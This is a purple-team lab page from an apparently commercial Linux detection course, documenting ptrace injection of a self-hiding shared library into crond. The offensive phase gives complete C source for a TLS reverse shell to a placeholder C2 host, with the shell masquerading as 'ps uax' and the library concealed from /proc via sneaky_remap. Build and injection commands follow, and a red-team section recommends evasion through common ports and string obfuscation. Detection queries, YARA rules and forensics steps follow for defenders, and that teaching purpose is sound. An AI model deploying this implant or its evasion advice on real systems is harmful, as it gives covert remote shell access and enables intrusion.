EDR-T6370 - Sneaky_remap + Ptrace() Process Injection in Rust + SSL/TLS callback

EDR-T6370 - Sneaky_remap + Ptrace() Process Injection in Rust + SSL/TLS callback

EDR-T6370 - This test uses ptrace-inject - a tool for injecting code into a running process using ptrace() with a combination of sneaky_remap and a custom SSL/TLS Reverse shell callback. ptrace-inject injects a reverse shell shared library into a running process, and sneaky_remap hides the name of a loaded shared object file (library). The general idea is to copy the readable pages from the library's file to new anonymous pages, keeping the same permissions. Then it uses mremap(2) to copy back over the relevant pages from the shared object file, unmapping the file in the process. The final result is that the library now shows up as anonymous memory in /proc/pid/maps, effectively being invisible from locations below:

  • /proc/pid/map_files

  • /proc/pid/maps

  • /proc/pid/numa_maps

  • /proc/pid/smaps

Additionally, the spawned sh process is masqueraded as ps uax ;-) Long story short, sneaky_remap stealthily remaps the shared object file to avoid being seen in /proc/pid/maps.

OFFENSIVE PHASE:

@KALI_X_or_C2_X:

# openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes
# openssl s_server -accept 44444 -cert server.crt -key server.key

@TARGET_X:

# git clone https://github.com/magisterquis/sneaky_remap
# cd sneaky_remap/

# vim EDR-T6370-combo-ssl-revshell-callback.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <err.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include "sneaky_remap.h"

// Function to initialize the reverse shell with TLS
void init_reverse_shell(const char *host, int port) {
    int sockfd;
    struct sockaddr_in server_addr;
    SSL_CTX *ctx = NULL;
    SSL *ssl = NULL;

    // Initialize OpenSSL
    SSL_load_error_strings();
    OpenSSL_add_ssl_algorithms();

    // Create SSL context
    ctx = SSL_CTX_new(TLS_client_method());
    if (!ctx) {
        warnx("SSL_CTX_new failed");
        return;
    }

    // Disable certificate verification (for simplicity; not secure for production)
    SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);

    // Create socket
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        warn("socket creation failed");
        goto cleanup;
    }

    // Set up server address structure
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    if (inet_pton(AF_INET, host, &server_addr.sin_addr) <= 0) {
        warn("invalid address: %s", host);
        goto cleanup;
    }

    // Connect to remote host
    if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        warn("connect failed");
        goto cleanup;
    }

    // Create SSL structure
    ssl = SSL_new(ctx);
    if (!ssl) {
        warnx("SSL_new failed");
        goto cleanup;
    }

    // Bind SSL to socket
    if (SSL_set_fd(ssl, sockfd) != 1) {
        warnx("SSL_set_fd failed");
        goto cleanup;
    }

    // Perform TLS handshake
    if (SSL_connect(ssl) != 1) {
        warnx("SSL_connect failed");
        goto cleanup;
    }

    // Redirect stdin, stdout, stderr to SSL connection
    // Note: We can't use dup2 directly with SSL, so we handle I/O via SSL_read/SSL_write
    // Fork a child to handle shell execution
    pid_t pid = fork();
    if (pid == 0) {
        // Child process: execute shell
        char buf[1024];
        int n;

        // Redirect shell I/O through SSL
        int stdin_pipe[2], stdout_pipe[2];
        if (pipe(stdin_pipe) < 0 || pipe(stdout_pipe) < 0) {
            warn("pipe creation failed");
            goto cleanup;
        }

        pid_t shell_pid = fork();
        if (shell_pid == 0) {
            // Grandchild: execute shell
            close(stdin_pipe[1]);
            close(stdout_pipe[0]);
            dup2(stdin_pipe[0], 0);  // stdin from pipe
            dup2(stdout_pipe[1], 1); // stdout to pipe
            dup2(stdout_pipe[1], 2); // stderr to pipe
            close(stdin_pipe[0]);
            close(stdout_pipe[1]);
        char *fake_argv[] = { "ps uax", NULL };
            char *envp[] = { NULL };
            execve("/bin/sh", fake_argv, envp);
            warn("execve failed");
            exit(1);
        }

        // Child: handle I/O between SSL and shell
        close(stdin_pipe[0]);
        close(stdout_pipe[1]);

        while (1) {
            // Read from SSL, write to shell
            n = SSL_read(ssl, buf, sizeof(buf));
            if (n <= 0) break;
            write(stdin_pipe[1], buf, n);

            // Read from shell, write to SSL
            n = read(stdout_pipe[0], buf, sizeof(buf));
            if (n <= 0) break;
            SSL_write(ssl, buf, n);
        }

        // Cleanup child
        close(stdin_pipe[1]);
        close(stdout_pipe[0]);
        exit(0);
    }

cleanup:
    if (ssl) SSL_free(ssl);
    if (sockfd >= 0) close(sockfd);
    if (ctx) SSL_CTX_free(ctx);
}

// Library initialization function
__attribute__((constructor))
void ctor(void) {
    int ret;

    // Run sneaky_remap_start
    switch (ret = sneaky_remap_start(NULL, NULL, 0)) {
        case SREM_RET_OK: /* Good. */
            break;
        case SREM_RET_ERRNO: /* Not our fault, at least? */
            warn("sneaky_remap_start");
            return; // Exit early on error
        default:
            warnx("sneaky_remap error %d", ret);
            return; // Exit early on error
    }

    // Fork to run reverse shell in background
    pid_t pid = fork();
    if (pid == 0) {
        // Child process: start reverse shell
        const char *host = "KALI_X_or_C2_X_IP"; 
        int port = 44444;                
        init_reverse_shell(host, port);
        exit(0);
    }
}
# gcc -O2 -Wall -Wextra -fPIC -o EDR-T6370-combo-ssl-revshell-callback.so -lssl -lcrypto -shared EDR-T6370-combo-ssl-revshell-callback.c sneaky_remap.c
# git clone https://github.com/Artemis21/ptrace-inject
# cd ptrace-inject
# yum install cargo
# cargo install ptrace-inject --features cli
# /root/.cargo/bin/ptrace-inject -p `systemctl show --property MainPID --value crond` /root/sneaky_remap/EDR-T6370-combo-ssl-revshell-callback.so


DEFENSIVE/DFIR PHASE:

CLI:

# systemctl show --property MainPID --value crond
445720
# cat /proc/445720/maps

CLI - Linux IR scripts:

# cd /opt/secl/linux-ir-scripts-v3
# ./ir_executor.sh unexpected-talkers-linux.sh

CLI - Linux IR scripts:

# cd /opt/secl/linux-ir-scripts-v3
# ./ir_executor.sh unexpected-shell-parents.sh

CLI - gdb:

# cat /proc/445720/maps | grep stack
7fffffbf4000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
# gdb -p 445720
(gdb) dump memory /tmp/sneaky.dump 0x7fffffbf4000 0x7ffffffff000
(gdb) exit
# strings /tmp/sneaky.dump

Splunk - Kunai Runtime Security:

index=kunai host="targetX.edrmetry.local" crond event_name=ptrace

Splunk - Kunai Runtime Security:

index=kunai host="targetX.edrmetry.local" crond event_name=connect

Splunk - Kunai Runtime Security:

index=kunai host="targetX.edrmetry.local" ptrace-inject| top limit=20 event_name

Splunk - Kunai Runtime Security:

index=kunai host="targetX.edrmetry.local" EDR-T6370-combo-ssl-revshell-callback.so| table "data.mapped.path"

Splunk - Falco Runtime Security:

index=unix falco host=targetX.edrmetry.local "Disallowed outbound connection destination"

Splunk - Falco Runtime Security:

index=unix falco host="targetX.edrmetry.local" EDR-T6370-combo-ssl-revshell-callback.so
index=unix falco host="targetX.edrmetry.local" EDR-T6370-combo-ssl-revshell-callback.so "Suspicious /proc access detected (mem write or syscall read)"
index=unix falco host="targetX.edrmetry.local" EDR-T6370-combo-ssl-revshell-callback.so "Detected ptrace PTRACE_ATTACH attempt"


Splunk - Zeek NIDS:

index=zeek community_id="1:XroNI7K+a8mSSowx+OSBC+xrKnM="

Splunk - Zeek NIDS:

index=zeek "id.resp_p"=44444 source="/opt/zeek/spool/manager/ssl.log"


Velociraptor:

  • Linux.Hunt.RuntimeCodeInjection

Velociraptor:

  • Generic.Detection.Yara.Glob(PathGlob: /dev/shm/**)

rule Global_Linux_RevShell_SSL_SneakyRemap_Detector
{
  meta:
    description = "Global detector: EDR‑T6370 SSL reverse shell SO + sneaky_remap heuristics"
    author      = "EDRmetry Assistant"
    version     = "1.2"
    family      = "revssl+sneaky_remap"
    confidence  = "high"
    references  = "EDR‑T6370, EDR‑T6127"

  strings:
    $ssl1 = "libssl.so.3" ascii
    $ssl2 = "OPENSSL_init_ssl" ascii
    $ssl3 = "TLS_client_method" ascii
    $ssl4 = "SSL_CTX_new" ascii
    $ssl5 = "SSL_set_fd" ascii
    $ssl6 = "SSL_connect" ascii
    $ssl7 = "SSL_read" ascii
    $ssl8 = "SSL_write" ascii

    $rs1  = "init_reverse_shell" ascii
    $rs2  = "socket creation failed" ascii nocase
    $rs3  = "SSL_connect failed" ascii nocase

    $remap  = "mremap" ascii
    $munmap = "munmap" ascii
    $mmap   = "mmap" ascii
    $mprot  = "mprotect" ascii
    $memcpy = "memcpy" ascii
    $memmv  = "memmove" ascii
    $sneaky = "sneaky_remap_start" ascii
    $selfmp = "/proc/self/maps" ascii
    $pthdet = "pthread_attr_setdetachstate" ascii

  condition:
    uint32(0) == 0x464C457F and
    1 of ($ssl*) and 
    1 of ($rs1,$rs2,$rs3) and 
    $remap and 
    $munmap and
    $sneaky and
    $pthdet and 
    1 of ($mmap,$mprot,$memcpy,$memmv) and 
    $selfmp
}


Velociraptor:

  • Linux.Detection.Yara.Process

rule sneaky_injected 
{ 
strings: 
  $a = "sneaky_" ascii // related to the path to the sneaky library, so potentially to be changed or deleted
  $b = "????????????????" ascii
  $c = "--xp" ascii 
condition: all of them }

Volatility 3 Framework:

  • linux.proc.Maps

# vol -f /purplelabs_data/memory_images/targetX-mem-1760110XXX.dmp linux.proc.Maps --pid 513695

Volatility 3 Framework:

  • linux.elfs.Elfs

# vol -f /purplelabs_data/memory_images/target11-mem-1760110XXX.dmp linux.elfs.Elfs --pid 513695

Volatility 3 Framework:

  • linux.malfind.Malfind

# vol -f /purplelabs_data/memory_images/target11-mem-1760110XXX.dmp linux.malfind.Malfind --pid 513695

Volatility 3 Framework:

  • volshell + dump anonymous mapping memory regions - TODO

Sandfly Security:

  • Run scan

Technical Summary

This lab explores a nice defense evasion technique combining ptrace-based process injection with memory remapping to create a nearly invisible implant. The attack injects a malicious shared library into a legitimate system process, then uses the sneaky_remap technique to hide the library from standard memory inspection tools.

The scenario demonstrates the complete attack chain from compiling a custom shared library with embedded SSL/TLS reverse shell capabilities, injecting it into a running daemon like crond using ptrace, and then watching as sneaky_remap erases all traces of the library from the proc filesystem. The injected code establishes an encrypted command-and-control channel while appearing to be nothing more than normal daemon activity.

Throughout the lab, we examine detection opportunities across multiple layers, including runtime security monitoring with Kunai and Falco, memory forensics with GDB and Volatility 3, network analysis with Zeek, and custom Yara rules designed to catch this specific technique.

Offensive Overview

This technique represents the convergence of three powerful evasion methods.

The attack begins with ptrace, the debugging syscall that allows one process to control another. While designed for debuggers like GDB, ptrace provides everything an attacker needs to inject code into a running process. By attaching to a target process, the attacker can read and write its memory, modify registers, and force it to execute arbitrary code. The ptrace-inject tool automates this process, taking a compiled shared library and loading it into any process the attacker has permission to debug.

The target process selection matters. System daemons like crond run continuously, rarely restart, and their network activity might go unnoticed. By injecting into crond rather than spawning a new process, the attacker inherits the daemon's legitimacy. There is no suspicious new process to investigate, no unusual parent-child relationship to question.

The injected shared library contains the actual payload: an SSL/TLS reverse shell. When the library loads, its constructor function executes automatically. This constructor creates a socket, initializes an OpenSSL context with certificate verification disabled, and establishes an encrypted connection back to the attacker's infrastructure. The encryption ensures that even if defenders capture the network traffic, they cannot see the commands being executed or data being exfiltrated.

The reverse shell implementation forks a child process to handle the actual shell interaction, using pipes to redirect input and output through the SSL connection.

But the truly innovative component is sneaky_remap. After the library loads and establishes its callback, the sneaky_remap_start() function activates. This function uses mremap() to move the library's memory pages from their file-backed locations to anonymous memory regions. Once complete, the original file mapping disappears.

The implications are profound. The /proc/pid/maps file, which normally shows every memory region and its backing file, no longer lists the malicious library. The /proc/pid/map_files directory, which contains symlinks to mapped files, shows nothing. Every standard tool that examines process memory to identify loaded libraries comes up empty.

The library's code continues executing normally because mremap() preserves the actual memory contents and their virtual addresses. Only the kernel's accounting of where that memory came from changes. The code runs, but its origin has been erased.

Risks and Mitigations for Red Team

Ptrace Restrictions

Many hardened systems enable the Yama security module which restricts ptrace to parent processes or requires CAP_SYS_PTRACE. Check /proc/sys/kernel/yama/ptrace_scope before attempting injection. A value of 0 allows unrestricted ptrace, while higher values impose increasing restrictions.

Syscall Monitoring

The ptrace attach and memory write operations generate syscalls that security tools can monitor. Kunai and similar eBPF-based tools see everything at the kernel level, regardless of userspace evasion techniques.

Network Anomalies

A daemon like crond establishing outbound TLS connections to unknown IPs on unusual ports like 44444 raises immediate red flags. Consider using common ports and domains that blend with legitimate traffic.

Compilation Artifacts

The shared library may contain strings and symbols that reveal its purpose. Strip debugging symbols and consider string obfuscation before deployment.

Memory Forensics

While sneaky_remap hides from /proc, it cannot hide from kernel memory analysis. Tools like Volatility 3 can still extract ELF structures from memory by scanning for magic bytes rather than relying on proc filesystem mappings.

Pagemap Detection

The /proc/pid/pagemap interface reveals physical page information that sneaky_remap cannot fully obscure. The Velociraptor artifact demonstrated in this course exploits this to detect modified executable pages.

Defensive/DFIR Overview

Detecting this technique requires abandoning the assumption that /proc tells the complete truth about process memory. When attackers can manipulate what the kernel reports, defenders must look deeper.

Runtime Security Detection

Kunai provides syscall-level visibility that sneaky_remap cannot evade. When ptrace-inject attaches to the target process, Kunai logs the ptrace syscall with full context including the attacker's PID, the target PID, and the ptrace operation being performed. The subsequent memory writes and the dlopen-equivalent operations that load the library all generate events.

When the injected library establishes its network connection, Kunai captures the connect() syscall with the destination IP and port. The correlation is damning: a ptrace attach to crond, followed shortly by crond making an outbound TLS connection to a foreign IP.

Falco rules trigger on behavioral patterns rather than specific syscalls. "Disallowed outbound connection destination" fires when system daemons connect to unexpected IPs. Falco can also detect the library loading anomalies that occur during injection, even if the library later hides itself.

Memory Forensics

GDB allows direct examination of process memory regardless of what /proc reports. Attaching to the suspicious process and dumping memory regions reveals the injected code. Running strings against these dumps exposes SSL function names, reverse shell strings, and sneaky_remap symbols that confirm the attack.

The key insight is that sneaky_remap hides the mapping metadata, not the actual memory contents. The code still exists at its virtual addresses. Systematic memory dumping and analysis will find it.

Volatility 3 takes this further with plugins specifically designed for this analysis. The linux.proc.Maps plugin displays memory regions and can reveal discrepancies between what the process reports and what actually exists. The linux.elfs.Elfs plugin scans memory for ELF headers, finding loaded libraries even when they lack file backing. Running this against a compromised process can extract the injected library before sneaky_remap activates, or reveal suspicious anonymous regions where library code should not exist.

Network Detection

Zeek captures the network side of the attack comprehensively. The TLS connection to the attacker's server appears in ssl.log with certificate information, connection duration, and data volumes. Connections on unusual ports like 44444 from processes that should not be making such connections warrant immediate investigation.

Zeek's community ID feature allows correlation across different log types, linking the suspicious connection to other network activity from the same session.

Velociraptor Detection

The Velociraptor artifact Linux.Hunt.RuntimeCodeInjection specifically detects sneaky_remap-style attacks. It works by examining /proc/pid/pagemap, which contains physical page frame information that sneaky_remap cannot manipulate.

When executable pages backed by files have been modified in memory, the soft-dirty bit in the pagemap entry reveals the tampering. The artifact scans all processes for this condition, identifying those with "tainted" code pages that indicate runtime modification.

Yara Detection

A comprehensive Yara rule can identify the injected library either on disk before deployment or extracted from memory:

The rule matches on combinations of:

  • ELF header magic bytes

  • OpenSSL function references (SSL_connect, SSL_read, SSL_write)

  • Memory manipulation syscalls (mremap, munmap, mprotect)

  • Sneaky_remap-specific symbols and strings

  • /proc/self/maps references indicating self-inspection

  • Reverse shell initialization patterns

Forensic Artifacts

The ptrace syscall events persist in audit logs, recording the moment of injection with process IDs and timestamps. Network connection logs capture the C2 channel establishment. Zeek logs preserve TLS handshake details including any certificate information.

The process's /proc directory, while manipulated, still contains useful artifacts. The /proc/pid/exe symlink points to the original executable. The /proc/pid/cmdline shows command arguments. The /proc/pid/fd directory reveals open file descriptors including network sockets.

Memory dumps taken during incident response preserve the injected code for offline analysis. Even if the live system shows manipulated proc entries, forensic images capture the actual memory contents.

Mitigation and Hardening

Restricting ptrace through the Yama security module prevents unprivileged injection:

# echo 2 > /proc/sys/kernel/yama/ptrace_scope

Value 2 restricts ptrace to processes with CAP_SYS_PTRACE, blocking standard user injection attacks.

Mandatory Access Control systems like SELinux can prevent processes from being ptraced or from loading unexpected libraries. Properly configured policies confine daemons to their expected behavior.

Network egress filtering prevents compromised processes from establishing outbound connections to attacker infrastructure, breaking the C2 channel even if injection succeeds.

MITRE ATT&CK Mapping

T1055.008 - Process Injection: Ptrace System Calls

The attack uses ptrace to inject a malicious shared library into a running process, hijacking its execution context.

  • https://attack.mitre.org/techniques/T1055/008/

T1055.001 - Process Injection: Dynamic-link Library Injection

A compiled shared library containing the payload is loaded into the target process's address space.

  • https://attack.mitre.org/techniques/T1055/001/

T1014 - Rootkit

The sneaky_remap technique modifies how the kernel reports process memory, hiding the injected library from standard inspection tools.

  • https://attack.mitre.org/techniques/T1014/

T1573.002 - Encrypted Channel: Asymmetric Cryptography

The reverse shell uses SSL/TLS encryption to protect C2 communications from network inspection.

  • https://attack.mitre.org/techniques/T1573/002/

T1036 - Masquerading

The forked shell process disguises its argv as "ps uax" to appear legitimate in process listings.

  • https://attack.mitre.org/techniques/T1036/

T1059.004 - Command and Scripting Interpreter: Unix Shell

The ultimate payload provides interactive shell access to the compromised system.

  • https://attack.mitre.org/techniques/T1059/004/

T1071.001 - Application Layer Protocol: Web Protocols

The C2 channel uses TLS, commonly associated with HTTPS traffic, to blend with legitimate encrypted communications.

  • https://attack.mitre.org/techniques/T1071/001/

LINKS:

  • https://github.com/magisterquis/sneaky_remap

  • https://github.com/Artemis21/ptrace-inject

  • https://man7.org/linux/man-pages/man2/ptrace.2.html

  • https://man7.org/linux/man-pages/man2/mremap.2.html

  • https://www.kernel.org/doc/Documentation/security/Yama.txt

Linux Attack, Detection and Forensics v2.1 - Hands-on Purple Teaming Playbook

Buy nowLearn more

Introduction

  • Welcome to the v2.1 party!
  • Goals / What to expect
  • Active Defense, PT, DE & Assume Breach
  • Linux DFIR Introduction
  • PurpleLabs Dashboard
  • General Course Flow Design
  • Private Virtual Machines
  • Shared Virtual Machines
  • PurpleLabs VM Robot Tool
  • PurpleLabs Network Diagram
  • EDRmetry Matrix
  • AI Integration
  • Why Linux as a target?
  • Linux Threat Landscape
  • Open Source Community
  • Recommended books
  • [ Changelog / Updates ]

Golden Rules - Before You Start Hands-on

  • Explore widely, think broadly
  • Enable Runtime Security/DFIR Agents
  • SOCKS Proxy or SSH Tunneling is required
  • KALI_X or C2_X?
  • TARGET_X - Kernel upgrade/downgrade
  • Multi-tab terminal
  • What is O- ?
  • "Don't" Policies
  • Troubleshooting1

Defensive/DFIR Tooling

  • Host/Exploration of CLI tools
  • Host/Exploration of /proc
  • Host/Exploration of /sys
  • Host/Splunk Forwarder
  • Host/Falco Runtime Security
  • Host/Kunai Runtime Security2
  • Host/Tetragon Runtime Security
  • Host/Tetragon Custom Tracing Policies
  • Custom eBPF C
  • Host/Tracee Runtime Security
  • Host/Jibril Runtime Security [RETIRED]
  • Host/Elastic Security Agent
  • Host/Wazuh Agent
  • Host/Velociraptor Agent
  • Host/FleetDM OSquery Agent
  • Host/Sandfly Security
  • Host/Sysmon4Linux
  • Host/Syslog
  • Host/go-journalctl
  • Host/auditd
  • Host/Linux IR Scripts - SecureProbes
  • Host/UAC
  • Host/Ghostscan
  • Host/Decloaker
  • Host/bpftrace
  • Host/LKRG
  • Host/SELinux
  • Host/Capa
  • Host/Yara / Yara-x Scanning
  • Network/Zeek NIDS
  • Network/Suricata NIDS
  • Network/WAF Modsecurity
  • Memory/RAM acquisition
  • Memory/Volatility3 Framework2
  • Memory/Volatility2 Framework
  • Memory/mquire
  • Commercial Linux EDR/Security Products

Linux EDR Architecture

  • Introduction
  • What is Linux EDR engine?
  • How does Linux EDR work?
  • Core functionalities and key features
  • Visibility Events / Indexes / Data sources
  • Syscalls, Kernel Functions and Tracing
  • Detection logic / rulesets
  • Support for Sigma Rules
  • Engine Modes
  • Dashboards, Analytics & Query language
  • Response, Triage and Forensics
  • Deployment and Operations
  • Alerts / Incidents / Detections
  • Query Language
  • Linux EDR Telemetry Project

Linux MITRE ATT&CK Matrix

  • Introduction

Initial Access - TA0001

  • TA0001 - Introduction
  • EDR-T6261 - Remote UAF Exploitation - user
  • EDR-T6119 - Remote UAF Exploitation - root
  • EDR-T6354 - Remote UAF+Heap Overflow
  • EDR-T6062 - Kafka CVE-2023-25194
  • EDR-T6355 - Langflow API CVE-2025-3248
  • EDR-T6114 - ActiveMQ CVE-2023-46604
  • EDR-T6105 - Apache HTTP CVE-2021-41773
  • O-EDR-T6116 - Tomcat Upload Manager
  • EDR-T6110 - Solr Log4J JNDI CVE-2021-44228
  • EDR-T6233 - XZ Backdoor CVE-2024-3094
  • EDR-T6113 - Spring CVE-2022-22963
  • EDR-T6416 - React2shell - CVE-2025-55182
  • EDR-T6450 - K8S Ingress-NGINX CVE-2025-1974

Execution - TA0002

  • TA0002 - Introduction
  • EDR-T6277 - Built-in System Tools Execution

Persistence - TA0003

  • TA0003 - Introduction
  • EDR-T6395 - LKM LibZeroEvil r00tme
  • EDR-T6394 - LKM Singularity Rootkit
  • EDR-T6100 - LKM Char Device + LPE
  • EDR-T6163 - LKM Reveng Rootkit
  • EDR-T6023 - LKM Diamorphine Rootkit
  • EDR-T6289 - LKM Ftrace Rootkit - Rebellion
  • EDR-T6161 - LKM BDS Ftrace Hooking Rootkit
  • EDR-T6154 - LKM Suterusu Rootkit
  • EDR-T6155 - LKM KoviD Rootkit
  • EDR-T6152 - eBPF Boopkit Rootkit
  • EDR-T6325 - BPFDoor Backdoor
  • EDR-T6454 - eBPF XDP UDP Backdoor
  • EDR-T6151 - eBPF TripleCross Rootkit
  • EDR-T6104 - SSHD Dummy Cipher Suite BYOT
  • EDR-T6235 - LD_PRELOAD Re-adding SSH key
  • O-EDR-T6327 - LD_PRELOAD Father Rootkit1
  • EDR-T6422 - bdvl - Patch Dynamic Linker3
  • EDR-T6423 - SSHD id_ed25519 Key Backdoor
  • EDR-T6170 - Cap_setuid over LD linker
  • EDR-T6139 - Python .pth Extensions
  • O-EDR-T6407 - Shadow SUID binfmt_misc
  • EDR-T6093 - Crontab root Backdoor
  • EDR-T6431 - Supervisor persistence
  • EDR-T6015 - Systemd Backdoor service
  • EDR-T6179 - Udev+atd C2 persistence2
  • O-EDR-T6213 - Malicious RPM package
  • EDR-T6164 - PAM Sneaky Backdoor
  • EDR-T6144 - DNF Package Manager1
  • EDR-T6051 - Modify core_pattern
  • EDR-T6347 - Nginx Shell Module1
  • O-EDR-T6017 - HTTPD mod_backdoor
  • EDR-T6011 - PHP Webshells
  • EDR-T6250 - Backdooring Initramfs [RETIRED]

Privilege Escalation - TA0004

  • TA0004 - Introduction
  • EDR-T6109 - LPE Socket Command Injection
  • EDR-T6360 - UAF Dirty Page Table LPE
  • EDR-T6359 - UAF Cross-cache Dirty Pipe LPE
  • EDR-T6184 - PATH Hijacking
  • O-EDR-T6315 - Add SSH key via iptables-save
  • EDR-T6335 - sudo chroot CVE-2025-32463
  • EDR-T6147 - Docker Escape with socket+Chisel
  • EDR-T6417 - Docker Escape with core_pattern
  • EDR-T6187 - NFS SUID Escalation
  • EDR-T6230 - pkexec CVE-2021-4034
  • EDR-T6231 - DirtyPipe CVE-2022-0847 LPE
  • O-EDR-T6177 - MySQL UDF Command Exec
  • EDR-T6459 - Copy Fail - CVE-2026-31431 LPE
  • EDR-T6462 - Fragnesia LPE
  • EDR-T6463 - pidfd_getfd + ptrace - Read root files
  • O-EDR-T6468 - DirtyClone CVE-2026-43503

Defense Evasion - TA0005

  • TA0005 - Introduction
  • EDR-T6041 - Execute binary listening from a hidden directory
  • EDR-T6039 - File Transfer to a hidden directory
  • EDR-T6138 - Bash HTTP GET data with /dev/tcp
  • EDR-T6173 - Hackshell + OpenSSL download
  • EDR-T6340 - Python HTTP POST and Exec
  • O-EDR-T6363 - Base64 Payload inside ZIP
  • EDR-T6370 - Sneaky_remap + Ptrace() Process Injection in Rust + SSL/TLS callback
  • EDR-T6439 - Malasada .so to Shellcode Loader
  • EDR-T6127 - dd+/proc/PID/mem Injection
  • EDR-T6256 - STOP/CONT Process Injection
  • EDR-T6108 - ASM Injection over /proc/PID/mem
  • EDR-T6037 - Python3 Fileless memfd_create
  • EDR-T6188 - Fileless Execution with memexec
  • EDR-T6171 - Easy Proc Name Masquerading
  • EDR-T6038 - Proc Name Masq with exec
  • EDR-T6140 - Proc Name Masq with prctl()
  • EDR-T6345 - Proc Masq with mount NS
  • EDR-T6046 - LD_PRELOAD Proc Hiding
  • EDR-T6053 - mount --bind process hiding
  • EDR-T6253 - eBPF Process Hider
  • EDR-T6107 - LKM Fileless Remote Loading
  • EDR-T6396 - LKM Hooking init_module
  • EDR-T6293 - LKM Disabling SELinux
  • EDR-T6282 - LKM Reset Yama ptrace_scope
  • EDR-T6167 - BOF Loading with BOF-Stager
  • EDR-T6067 - SSH notty session
  • EDR-T6133 - File immutable with chattr
  • EDR-T6089 - Bashrc File Hiding with ls Alias
  • O-EDR-T6078 - Execute tools via PRoot BYOF
  • EDR-T6455 - Fake TLS ClientHello DPI bypass
  • EDR-T6485 - Falco BPF Map Poisoning

Command and Control - TA0011

  • TA0011 - Introduction
  • EDR-T6123.023 - curlrevshell
  • EDR-T6123.008 - Revshell openssl+/dev/fd/3
  • EDR-T6123.004 - Revshell mkfifo+nc
  • EDR-T6123.022 - Oneshell - echo and chmod
  • EDR-T6123.015 - Revshell Python TLS
  • O-EDR-T6126.002 - Sliver C2 MTLS
  • EDR-T6126.013 - Sliver C2 HTTPS
  • O-EDR-T6126.007 - Sliver C2 DNS
  • O-EDR-T6126.011 - Sliver C2 TCP Pivots
  • EDR-T6212 - Emp3r0r HTTP2 AES Stager C2
  • EDR-T6317 - SOA/ECS DNS C2 Channel
  • EDR-T6448 - ICMP Assembly C2
  • EDR-T6115 - DNS Tunneling with dnscat2
  • O-EDR-T6409 - Venom C2
  • O-EDR-T6126.006 - Platypus C2
  • EDR-T6126.004 - Merlin HTTP2 C2
  • EDR-T6126.010 - Mythic C2 Deployment
  • O-EDR-T6126.003 - Mythic C2 Thanatos ELF
  • O-EDR-T6126.009 - Mythic C2 Medusa Python
  • O-EDR-T6126.005 - Mythic C2 Poseidon ELF
  • O-EDR-T6148 - XOR shell_reverse_tcp Loader
  • EDR-T6117 - UPX Reverse SSH server
  • EDR-T6123.017 - Shell over HTTP streams
  • EDR-T6328 - io_uring Agent

Credential Access - TA0006

  • TA0006 - Introduction
  • EDR-T6242 - eBPF Spy on PAM with python3
  • EDR-T6199 - eBPF pamspy
  • EDR-T6012 - Sniff sshd with strace
  • EDR-T6415 - ptrace() ssh-inject
  • EDR-T6319 - Dump heap memory from Java

Discovery - TA0007

  • TA0007 - Introduction
  • EDR-T6225 - Execute "What Server"
  • EDR-T6040 - Execute LinPEAS from /dev/tcp
  • EDR-T6065 - /proc/PID/ Enumeration
  • EDR-T6251 - Process Snooping with pspy
  • EDR-T6280 - Find loaded eBPF programs/maps
  • EDR-T6218 - Linux VM Check via Hardware
  • EDR-T6204 - Read local file using curl
  • EDR-T6010 - Check my public IP
  • EDR-T6412 - DNS Reconnaissance

Lateral Movement - TA0008

  • TA0008 - Introduction
  • EDR-T6189 - Reverse SOCKS5 proxy
  • EDR-T6357 - Chisel Reverse Socks Proxy
  • EDR-T6255 - KCP - FRP Fast Reverse Proxy
  • EDR-T6033 - SSH Linux Tunneling
  • EDR-T6404 - mTLS Reverse SOCKS5
  • O-EDR-T6387 - SOCKS5 over Tailscale
  • EDR-T6392 - Cloudflared Tunneling
  • EDR-T6131 - Hijacking SSH Client Session
  • O-EDR-T6364 - Hijacking ssh-agent session
  • EDR-T6057 - Execute Port Scanning

Exfiltration - TA0010

  • TA0010 - Introduction
  • EDR-T6120 - Python FTP Upload
  • EDR-T6180 - SMB Data Exfiltration
  • EDR-T6112 - NTP Data Exfiltration
  • EDR-T6137 - HTTP PUT method + transfer.sh
  • EDR-T6181 - Upload/download data over SSHFS
  • O-EDR-T6135 - Upload data over WebDAV
  • EDR-T6234 - pam_exec SSHD Exfiltration
  • EDR-T6445 - PAM XOR VeilCreds
  • O-EDR-T6103 - PAM creds over HTTP Post
  • O-EDR-T6168 - ICMP_exfil + nping
  • EDR-T6418 - LDAP Data Hiding - FreeIPA

Impact - TA0040

  • TA0040 - Introduction
  • O-EDR-T6063 - Ransomware C - lokpack
  • O-EDR-T6252 - Crypto Mining CPU stress
  • O-EDR-T6018 - Ransomware bash+openssl

Automated Attack Emulation Projects

  • PANIX
  • Echos - Network Beacon Emulator
  • MITRE Caldera
  • TTP-Bench
  • Atomic Red Team
  • TTPForge

Attack Flows & Combos

  • Introduction
  • Combo Flows
  • Attack Flow #1
  • Attack Flow #2
  • Attack Flow #3

Linux Hardening

  • Linux Hardening Guide
  • Container Security Hardening

Kubernetes

  • K8S Components
  • K8S Deployment
  • K8S gVisor Deployment
  • Falco Deployment in K8S
  • Tracee Deployment in K8S
  • Kubernetes Threat Matrix
  • Kubectl Fu
  • K8S Simple Pod Deployment
  • K8S Unauthenticated API Access
  • K8S Static Hidden Pod
  • K8S Pod Breakout
  • K8S Mounted secrets
  • K8S Etcd Dump
  • K8S CronJob SSH Persistence
  • K8S Pod Name Similarity
  • K8S Grafana + PostgreSQL RCE
  • K8S Vuln Web App
  • K8S Security Scanners
  • K8S - EDR-T6105 - Apache HTTPD CVE-2021-41773
  • K8S - EDR-T6464 - Tomcat Tribes CVE-2026-34486
  • K8S - EDR-T6062 - Kafka CVE-2023-25194
  • K8S - EDR-T6114 - ActiveMQ CVE-2023-46604
  • K8S - EDR-T6467 - Flask SSTI
  • K8S - EDR-T6355 - Langflow API CVE-2025-3248
  • K8S - EDR-T6416 - React2shell - CVE-2025-55182
  • K8S - EDR-T6113 - Spring CVE-2022-22963
  • K8S - EDR-T6354 - Remote UAF+Heap Overflow

Active Security Research

  • Extra Research
  • Linux Internals
